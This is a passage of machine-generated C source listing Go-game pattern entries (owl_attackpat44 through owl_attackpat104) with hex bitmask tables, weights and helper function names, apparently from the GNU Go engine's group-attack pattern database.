0x3f3f0000, 0x003f3f3f, 0x00f0f0f0}, { 0x00120000, 0x00100020, 0x00100000, 0x00100000, 0x00100000, 0x00120000, 0x00100020, 0x00100000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat44,0,0.610000}, {owl_attackpat45,11,8, "A224",-1,-1,2,2,3,3,0x2,1,1, { 0x00fcffff, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0f, 0x00fcfcfc}, { 0x0050a000, 0x90900000, 0x28140000, 0x00181800, 0x00909000, 0xa0500000, 0x18180000, 0x00142800} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat45,0,1.000000}, {owl_attackpat46,10,8, "A225",0,-1,2,2,2,3,0x2,1,0, { 0x003cfffd, 0xc0f0f0c0, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xff3c0000, 0x0f3f3f0d, 0x00f0fcfc}, { 0x00180200, 0x00102080, 0x00900000, 0x20100000, 0x20100000, 0x02180000, 0x00102008, 0x00900000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat47,11,8, "A226",0,-1,2,2,2,3,0x2,1,0, { 0x00fcfffd, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0d, 0x00fcfcfc}, { 0x00180200, 0x00102080, 0x00900000, 0x20100000, 0x20100000, 0x02180000, 0x00102008, 0x00900000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat47,0,2.800000}, {owl_attackpat48,13,8, "A227",-1,-2,1,2,2,4,0x2,0,1, { 0xf5ffff00, 0xfcfcf4f4, 0xfffc7c00, 0x7cfcfc0c, 0xf4fcfcc0, 0xfffff500, 0xfcfc7c7c, 0x7cfcff00}, { 0x90902000, 0x28940000, 0x22181800, 0x0058a008, 0x00942880, 0x20909000, 0xa0580000, 0x18182200} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat48,0,0.010000}, {owl_attackpat49,11,8, "A227b",0,-1,2,2,2,3,0x2,1,1, { 0x003dff7f, 0xc0f0f0d0, 0xfcf00000, 0x3f3f0d00, 0xf0f0c000, 0xff3d0000, 0x0d3f3f1f, 0x00f0fcf4}, { 0x00108020, 0x80100000, 0x08100000, 0x00120800, 0x00108000, 0x80100000, 0x08120000, 0x00100820} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat49,0,0.610000}, {owl_attackpat50,6,8, "A228",0,-2,1,0,1,2,0x2,0,-1, { 0x00f0f000, 0xf0f00000, 0x3f3f0000, 0x003c3c3c, 0x00f0f0f0, 0xf0f00000, 0x3c3c0000, 0x003f3f00}, { 0x00102000, 0x00900000, 0x20100000, 0x00180000, 0x00900000, 0x20100000, 0x00180000, 0x00102000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat50,0,1.000000}, {owl_attackpat51,14,8, "A229",-1,-3,1,1,2,4,0x2,0,-1, { 0xf0fcfc00, 0xfcfcf000, 0xffff3d00, 0x3cfcfc7c, 0xf0fcfcf4, 0xfcfcf000, 0xfcfc3c00, 0x3dffff00}, { 0x10182000, 0x00942000, 0x20901000, 0x20580000, 0x20940000, 0x20181000, 0x00582000, 0x10902000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat51,0,0.019600}, {owl_attackpat52,11,8, "A229b",-1,-3,1,0,2,3,0x2,0,-1, { 0x40f0f000, 0xf4f00000, 0x3f3f0500, 0x003c7c7c, 0x00f0f4f4, 0xf0f04000, 0x7c3c0000, 0x053f3f00}, { 0x00102000, 0x00900000, 0x20100000, 0x00180000, 0x00900000, 0x20100000, 0x00180000, 0x00102000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat52,0,0.016000}, {owl_attackpat53,8,8, "A229c",-1,-2,1,0,2,2,0x2,0,-1, { 0x40f0f000, 0xf4f00000, 0x3f3f0500, 0x003c7c7c, 0x00f0f4f4, 0xf0f04000, 0x7c3c0000, 0x053f3f00}, { 0x00102000, 0x00900000, 0x20100000, 0x00180000, 0x00900000, 0x20100000, 0x00180000, 0x00102000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat53,0,0.016000}, {owl_attackpat54,5,8, "A229d",-1,-1,1,0,2,1,0x2,0,-1, { 0xc0f0f000, 0xfcf00000, 0x3c3c0c00, 0x003cfc00, 0x00f0fc00, 0xf0f0c000, 0xfc3c0000, 0x0c3c3c00}, { 0x80102000, 0x08900000, 0x20100800, 0x00188000, 0x00900800, 0x20108000, 0x80180000, 0x08102000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat54,0,0.010000}, {owl_attackpat55,10,8, "A230",0,-1,2,2,2,3,0x2,1,1, { 0x0038ffff, 0xc0f0e0c0, 0xfcb00000, 0x2f3f0f00, 0xe0f0c000, 0xff380000, 0x0f3f2f0f, 0x00b0fcfc}, { 0x00100200, 0x00100080, 0x00100000, 0x00100000, 0x00100000, 0x02100000, 0x00100008, 0x00100000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat55,0,0.016000}, {owl_attackpat56,11,8, "A231",-1,0,1,3,2,3,0x0,0,2, { 0x0f3f3f00, 0x00f0fcfc, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3f3f0f00, 0x003cfcfc, 0xc0f0f000}, { 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat57,13,8, "A232",0,-1,3,2,3,3,0x2,2,0, { 0x003cfcff, 0xc0f0f000, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xfc3c0000, 0x0f3f3f03, 0x00f0fcfc}, { 0x00148000, 0x80101000, 0x08500000, 0x10100800, 0x10108000, 0x80140000, 0x08101000, 0x00500800} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat57,0,1.000000}, {owl_attackpat58,13,8, "A233",0,-1,3,2,3,3,0x2,2,0, { 0x00fcfffc, 0xf0f0f0c0, 0xfcfc0000, 0x3f3f3f00, 0xf0f0f000, 0xfffc0000, 0x3f3f3f0c, 0x00fcfcfc}, { 0x00500080, 0x10100000, 0x00140000, 0x00101200, 0x00101000, 0x00500000, 0x12100000, 0x00140008} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat59,8,8, "A234",-1,0,2,1,3,1,0x2,1,1, { 0x1c3c3c3c, 0x00f4fc00, 0xf0f0d000, 0xff7f0000, 0xfcf40000, 0x3c3c1c00, 0x007fff00, 0xd0f0f0f0}, { 0x08240000, 0x00201800, 0x00608000, 0x90200000, 0x18200000, 0x00240800, 0x00209000, 0x80600000} , 0x1000000,20.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat60,8,8, "A301",0,-1,1,2,1,3,0x2,1,0, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00928000, 0xa0100020, 0x08180000, 0x00102800, 0x0010a000, 0x80920000, 0x28100020, 0x00180800} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat60,0,0.010000}, {owl_attackpat61,12,8, "A302",-1,-2,1,2,2,4,0x2,1,-1, { 0xbcfdfe00, 0xf8fcfc90, 0xfdfcf800, 0xfcfcbc04, 0xfcfcf840, 0xfefdbc00, 0xbcfcfc18, 0xf8fcfd00}, { 0x18600800, 0x10248800, 0x80249000, 0x88601000, 0x88241000, 0x08601800, 0x10608800, 0x90248000} , 0x1000000,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat62,14,8, "A305",0,-1,2,3,2,4,0x2,2,0, { 0x00757fff, 0x50f0d0d0, 0xf4740000, 0x1f3f1700, 0xd0f05000, 0x7f750000, 0x173f1f1f, 0x0074f4fc}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat63,9,8, "A401",-1,0,1,3,2,3,0x0,0,1, { 0x3f3f0f00, 0x003cfcfc, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0f3f3f00, 0x00f0fcfc, 0xf0f0c000}, { 0x10200000, 0x00240000, 0x00201000, 0x00600000, 0x00240000, 0x00201000, 0x00600000, 0x10200000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat63,3,3.600000}, {owl_attackpat64,9,8, "A401a",-1,0,1,3,2,3,0x0,0,1, { 0x3f3f0f00, 0x003cfcfc, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0f3f3f00, 0x00f0fcfc, 0xf0f0c000}, { 0x10200000, 0x00240000, 0x00201000, 0x00600000, 0x00240000, 0x00201000, 0x00600000, 0x10200000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat64,3,3.000000}, {owl_attackpat65,9,8, "A402",-1,0,2,3,3,3,0x0,-1,1, { 0x3f3f0f00, 0x003cfcfc, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0f3f3f00, 0x00f0fcfc, 0xf0f0c000}, { 0x10200000, 0x00240000, 0x00201000, 0x00600000, 0x00240000, 0x00201000, 0x00600000, 0x10200000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat65,3,0.040000}, {owl_attackpat66,9,8, "A403",-1,0,1,2,2,2,0x0,-1,2, { 0x3f3f3f00, 0x00fcfcfc, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3f3f3f00, 0x00fcfcfc, 0xf0f0f000}, { 0x00101a00, 0x00508080, 0x90100000, 0x08140000, 0x80500000, 0x1a100000, 0x00140808, 0x00109000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat66,0,4.800000}, {owl_attackpat67,9,4, "A404",-1,0,1,2,2,2,0x0,1,1, { 0x1d3f3f00, 0x00f4fcf4, 0xf0f0d000, 0xfc7c0000, 0xfcf40000, 0x3f3f1d00, 0x007cfc7c, 0xd0f0f000}, { 0x08220000, 0x00200820, 0x00208000, 0x80200000, 0x08200000, 0x00220800, 0x00208020, 0x80200000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat68,11,8, "A406",-2,-2,1,0,3,2,0x0,0,-1, { 0xf0f0c000, 0xfd3d0000, 0x0f3f3f15, 0x00f0fcfc, 0x003dfdfd, 0xc0f0f050, 0xfcf00000, 0x3f3f0f00}, { 0x00108000, 0x80100000, 0x09100000, 0x00100804, 0x00108040, 0x80100000, 0x08100000, 0x00100900} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat68,0,0.016000}, {owl_attackpat69,11,8, "A406b",-2,-2,1,0,3,2,0x0,0,-1, { 0xf0f0c000, 0xfd3d0000, 0x0f3f3f15, 0x00f0fcfc, 0x003dfdfd, 0xc0f0f050, 0xfcf00000, 0x3f3f0f00}, { 0x00108000, 0x80100000, 0x08100000, 0x00100800, 0x00108000, 0x80100000, 0x08100000, 0x00100800} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat69,0,0.010000}, {owl_attackpat70,11,8, "A406c",-2,-2,1,0,3,2,0x0,-1,-2, { 0xf0f0f000, 0xfdfd0000, 0x3f3f3f14, 0x00fcfcfc, 0x00fdfdfc, 0xf0f0f050, 0xfcfc0000, 0x3f3f3f00}, { 0x00109000, 0x80500000, 0x18100000, 0x00140800, 0x00508000, 0x90100000, 0x08140000, 0x00101800} , 0x1000000,81.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat70,0,0.970000}, {owl_attackpat71,12,8, "A407",-1,-1,2,1,3,2,0x0,0,-1, { 0xfcfcfcfc, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfcfc}, { 0x48200000, 0x04200800, 0x00208400, 0x80204000, 0x08200400, 0x00204800, 0x40208000, 0x84200000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat72,16,8, "A408",-2,-3,3,0,5,3,0x0,0,-2, { 0xf0f0f030, 0xfffe0000, 0x3f3f3f2e, 0x00fffcfc, 0x00fefffe, 0xf0f0f0e0, 0xfcff0000, 0x3f3f3f30}, { 0x00200000, 0x01200000, 0x00200004, 0x00200000, 0x00200100, 0x00200040, 0x00200000, 0x00200000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat72,3,0.016000}, {owl_attackpat73,17,8, "A409",-2,-2,1,2,3,4,0x0,-1,0, { 0xfffffe00, 0xfcfdfdbd, 0xfcfffe50, 0xfcfcfcb0, 0xfdfdfc38, 0xfeffff15, 0xfcfcfcf8, 0xfefffc00}, { 0x40218400, 0x84204010, 0x48210400, 0x04204810, 0x40208410, 0x84214000, 0x48200410, 0x04214800} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat73,3,0.019600}, {owl_attackpat74,10,4, "A410",-2,-1,1,1,3,2,0x0,-1,0, { 0xfcfc3000, 0x3dfd3d00, 0x30fcfc54, 0xf0fcf000, 0x3dfd3d00, 0x30fcfc54, 0xf0fcf000, 0xfcfc3000}, { 0x00642000, 0x10a01000, 0x20640000, 0x10281000, 0x10a01000, 0x20640000, 0x10281000, 0x00642000} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat74,3,0.010000}, {owl_attackpat75,18,8, "A411",-3,-4,1,3,4,7,0x0,-1,-1, { 0xfaf08000, 0xbf3f0a0a, 0x0a3ebfbf, 0x80f0f8e8, 0x0a3fbfaf, 0x80f0fafa, 0xf8f08080, 0xbf3e0a00}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,79.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat75,3,0.019600}, {owl_attackpat76,6,8, "A412",-2,-2,1,1,3,3,0x0,-1,-1, { 0xfcf0c000, 0xfc3c0c00, 0x0c3cfc00, 0xc0f0fc00, 0x0c3cfc00, 0xc0f0fc00, 0xfcf0c000, 0xfc3c0c00}, { 0x04204000, 0x40200400, 0x04204000, 0x40200400, 0x04204000, 0x40200400, 0x04204000, 0x40200400} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat76,3,0.016000}, {owl_attackpat77,23,8, "A414",-4,-3,0,3,4,6,0x0,-2,0, { 0xfefc0000, 0x3f3f3f0a, 0x00fcfefe, 0xf0f0f080, 0x3f3f3f0a, 0x00fcfefe, 0xf0f0f080, 0xfefc0000}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,82.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat77,3,0.019600}, {owl_attackpat78,9,8, "A415",-1,-2,1,0,2,2,0x0,0,-1, { 0xf0f0f000, 0xfcfc0000, 0x3f3f3e00, 0x00fcfcbc, 0x00fcfcf8, 0xf0f0f000, 0xfcfc0000, 0x3e3f3f00}, { 0x00201000, 0x00600000, 0x12200000, 0x00240008, 0x00600080, 0x10200000, 0x00240000, 0x00201200} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat78,3,1.810000}, {owl_attackpat79,11,8, "A416",-1,-2,1,2,2,4,0x0,0,-1, { 0xf0fffd00, 0xfcfcf070, 0xfcff3c00, 0x3cfcfc30, 0xf0fcfc30, 0xfdfff000, 0xfcfc3c34, 0x3cfffc00}, { 0x10220000, 0x00240020, 0x00201000, 0x00600000, 0x00240000, 0x00221000, 0x00600020, 0x10200000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat80,15,8, "A417",0,-1,3,2,3,3,0x0,1,1, { 0x003fffbf, 0xc0f0f0f0, 0xfcf00000, 0x3f3f0e00, 0xf0f0c000, 0xff3f0000, 0x0e3f3f3f, 0x00f0fcf8}, { 0x00214000, 0x40200010, 0x04200000, 0x00200400, 0x00204000, 0x40210000, 0x04200010, 0x00200400} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat80,3,0.019600}, {owl_attackpat81,12,8, "A418",-1,-2,1,1,2,3,0x0,0,-1, { 0xfcfcf400, 0xfcfc7c00, 0x7fffff00, 0xf4fcfcfc, 0x7cfcfcfc, 0xf4fcfc00, 0xfcfcf400, 0xffff7f00}, { 0x04182000, 0x00902400, 0x21904000, 0x60180004, 0x24900040, 0x20180400, 0x00186000, 0x40902100} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat81,0,0.010000}, {owl_attackpat82,6,8, "A419",0,0,1,2,1,2,0x0,1,1, { 0x003f3f00, 0x00f0f0f0, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3f3f0000, 0x003c3c3c, 0x00f0f000}, { 0x00210200, 0x00200090, 0x00200000, 0x00200000, 0x00200000, 0x02210000, 0x00200018, 0x00200000} , 0x1000000,68.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat82,3,1.096000}, {owl_attackpat83,15,8, "A420",-1,-1,2,2,3,3,0x0,1,1, { 0x3effff55, 0xf0fcfcf8, 0xfcfcf000, 0xfdfd3d00, 0xfcfcf000, 0xffff3e00, 0x3dfdfdbd, 0xf0fcfc54}, { 0x20611000, 0x10680010, 0x10242000, 0x00a41000, 0x00681000, 0x10612000, 0x10a40010, 0x20241000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat83,3,1.810000}, {owl_attackpat84,10,8, "A421",-1,-2,2,0,3,2,0x0,1,-1, { 0x40f0f0c0, 0xf4f00000, 0x3f3f0500, 0x003c7f7f, 0x00f0f4f4, 0xf0f04000, 0x7f3c0000, 0x053f3f0f}, { 0x00100080, 0x00100000, 0x00100000, 0x00100201, 0x00100000, 0x00100000, 0x02100000, 0x00100009} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat84,0,0.016000}, {owl_attackpat85,11,8, "A501",0,-2,2,1,2,3,0x2,1,-1, { 0x00f0fcfc, 0xf0f0c000, 0xff3d0000, 0x0f3f3f1f, 0xc0f0f0d0, 0xfcf00000, 0x3f3f0f00, 0x003dffff}, { 0x00200400, 0x00204000, 0x40200000, 0x04200000, 0x40200000, 0x04200000, 0x00200400, 0x00204000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat86,8,8, "A502",-1,0,1,2,2,2,0x2,0,1, { 0x0e3f3f00, 0x00f0fcf8, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3f3f0e00, 0x003cfcbc, 0xc0f0f000}, { 0x08122200, 0x009008a0, 0x20108000, 0x80180000, 0x08900000, 0x22120800, 0x00188028, 0x80102000} , 0x1000020,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat86,0,1.000000}, {owl_attackpat87,8,8, "A503",-1,0,1,2,2,2,0x2,0,1, { 0x0f3f3f00, 0x00f0fcfc, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3f3f0f00, 0x003cfcfc, 0xc0f0f000}, { 0x0a212200, 0x00a00898, 0x20208000, 0x80280000, 0x08a00000, 0x22210a00, 0x00288098, 0x80202000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat88,4,8, "A504",0,0,1,1,1,1,0x2,0,1, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00201800, 0x00608000, 0x90200000, 0x08240000, 0x80600000, 0x18200000, 0x00240800, 0x00209000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat89,11,8, "A505",0,-1,2,2,2,3,0x2,1,1, { 0x003fffff, 0xc0f0f0f0, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xff3f0000, 0x0f3f3f3f, 0x00f0fcfc}, { 0x001a0000, 0x00102020, 0x00900000, 0x20100000, 0x20100000, 0x001a0000, 0x00102020, 0x00900000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat90,8,8, "A506",-1,0,1,2,2,2,0x2,0,1, { 0x0f3f3f00, 0x00f0fcfc, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3f3f0f00, 0x003cfcfc, 0xc0f0f000}, { 0x0a100000, 0x00100808, 0x00108000, 0x80100000, 0x08100000, 0x00100a00, 0x00108080, 0x80100000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat91,7,8, "A507",-1,0,1,2,2,2,0x2,0,1, { 0x0c3f3f00, 0x00f0fcf0, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3f3f0c00, 0x003cfc3c, 0xc0f0f000}, { 0x04220000, 0x00200420, 0x00204000, 0x40200000, 0x04200000, 0x00220400, 0x00204020, 0x40200000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat92,14,8, "A508",0,-2,2,2,2,4,0x2,1,0, { 0x00f4fffd, 0xf0f0d0c0, 0xff7e0000, 0x1f3f3f2f, 0xd0f0f0e0, 0xfff40000, 0x3f3f1f0d, 0x007effff}, { 0x00200200, 0x00200080, 0x01200000, 0x00200004, 0x00200040, 0x02200000, 0x00200008, 0x00200100} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat93,9,8, "A509",-1,0,1,2,2,2,0x2,0,1, { 0x3f3f1d00, 0x007cfc7c, 0xd0f0f000, 0xfcf40000, 0xfc7c0000, 0x1d3f3f00, 0x00f4fcf4, 0xf0f0d000}, { 0x21220000, 0x00280024, 0x00202000, 0x00a00000, 0x00280000, 0x00222100, 0x00a00060, 0x20200000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat93,3,0.400000}, {owl_attackpat94,15,8, "A510",-1,-2,1,2,2,4,0x2,0,1, { 0xffffff00, 0xfcfcfcfc, 0xffffff00, 0xfcfcfcfc, 0xfcfcfcfc, 0xffffff00, 0xfcfcfcfc, 0xffffff00}, { 0xa2904000, 0x68180008, 0x04192800, 0x0090a410, 0x00186810, 0x4090a200, 0xa4900080, 0x28190400} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat95,11,8, "A511",0,-1,2,2,2,3,0x2,1,0, { 0x003dfdfd, 0xc0f0f050, 0xfcf00000, 0x3f3f0f00, 0xf0f0c000, 0xfd3d0000, 0x0f3f3f15, 0x00f0fcfc}, { 0x00204000, 0x40200000, 0x04200000, 0x00200400, 0x00204000, 0x40200000, 0x04200000, 0x00200400} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat95,3,0.010000}, {owl_attackpat96,10,8, "A512",-1,-2,1,1,2,3,0x2,0,-1, { 0xc0f4ec00, 0xfcb0d000, 0xef7f0f00, 0x1c38fcfc, 0xd0b0fcfc, 0xecf4c000, 0xfc381c00, 0x0f7fef00}, { 0x40200800, 0x04208000, 0x80200400, 0x08204000, 0x80200400, 0x08204000, 0x40200800, 0x04208000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat97,6,8, "A513",-2,0,1,2,3,2,0x4,1,1, { 0x003f3f00, 0x00f0f0f0, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3f3f0000, 0x003c3c3c, 0x00f0f000}, { 0x00201000, 0x00600000, 0x10200000, 0x00240000, 0x00600000, 0x10200000, 0x00240000, 0x00201000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat98,12,8, "A514",-1,-1,2,1,3,2,0x4,1,0, { 0xf8fc7cfc, 0x7cfcf800, 0xf4fcbc00, 0xbffff700, 0xf8fc7c00, 0x7cfcf800, 0xf7ffbf00, 0xbcfcf4fc}, { 0x90280400, 0x08246000, 0x40a01800, 0x24608000, 0x60240800, 0x04289000, 0x80602400, 0x18a04000} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat98,3,1.600000}, {owl_attackpat99,10,8, "A601",-1,0,1,3,2,3,0x1,-1,2, { 0x3f3f0d00, 0x003cfc7c, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0d3f3f00, 0x00f0fcf4, 0xf0f0c000}, { 0x10200800, 0x00248000, 0x80201000, 0x08600000, 0x80240000, 0x08201000, 0x00600800, 0x10208000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat100,6,8, "A602",-1,0,1,1,2,1,0x5,0,1, { 0x3c3c3800, 0x00fcbc00, 0xb0f0f000, 0xf8fc0000, 0xbcfc0000, 0x383c3c00, 0x00fcf800, 0xf0f0b000}, { 0x00201000, 0x00600000, 0x10200000, 0x00240000, 0x00600000, 0x10200000, 0x00240000, 0x00201000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat100,3,1.000000}, {owl_attackpat101,10,8, "A603",0,-2,1,2,1,4,0x2,1,0, { 0x00ffff00, 0xf0f0f0f0, 0xfdfd0000, 0x3c3c3c14, 0xf0f0f050, 0xffff0000, 0x3c3c3c3c, 0x00fdfd00}, { 0x00a10000, 0x20200010, 0x00280000, 0x00202000, 0x00202000, 0x00a10000, 0x20200010, 0x00280000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat101,3,1.011760}, {owl_attackpat102,8,8, "A603b",0,-1,1,2,1,3,0x2,1,0, { 0x007dff00, 0xd0f0f0d0, 0xfcf40000, 0x3c3c1c00, 0xf0f0d000, 0xff7d0000, 0x1c3c3c1c, 0x00f4fc00}, { 0x00200100, 0x00200040, 0x00200000, 0x00200000, 0x00200000, 0x01200000, 0x00200004, 0x00200000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat102,3,0.610000}, {owl_attackpat103,10,8, "A604",0,-1,1,3,1,4,0x2,1,0, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00a00000, 0x20200000, 0x00280000, 0x00202000, 0x00202000, 0x00a00000, 0x20200000, 0x00280000} , 0x1000010,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat104,8,8, "A605",0,-1,1,2,1,3,0xa,1,0, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00210000, 0x00200010, 0x00200000, 0x00200000, 0x00200000, 0x00210000, 0x00200010, 0x00200000} , 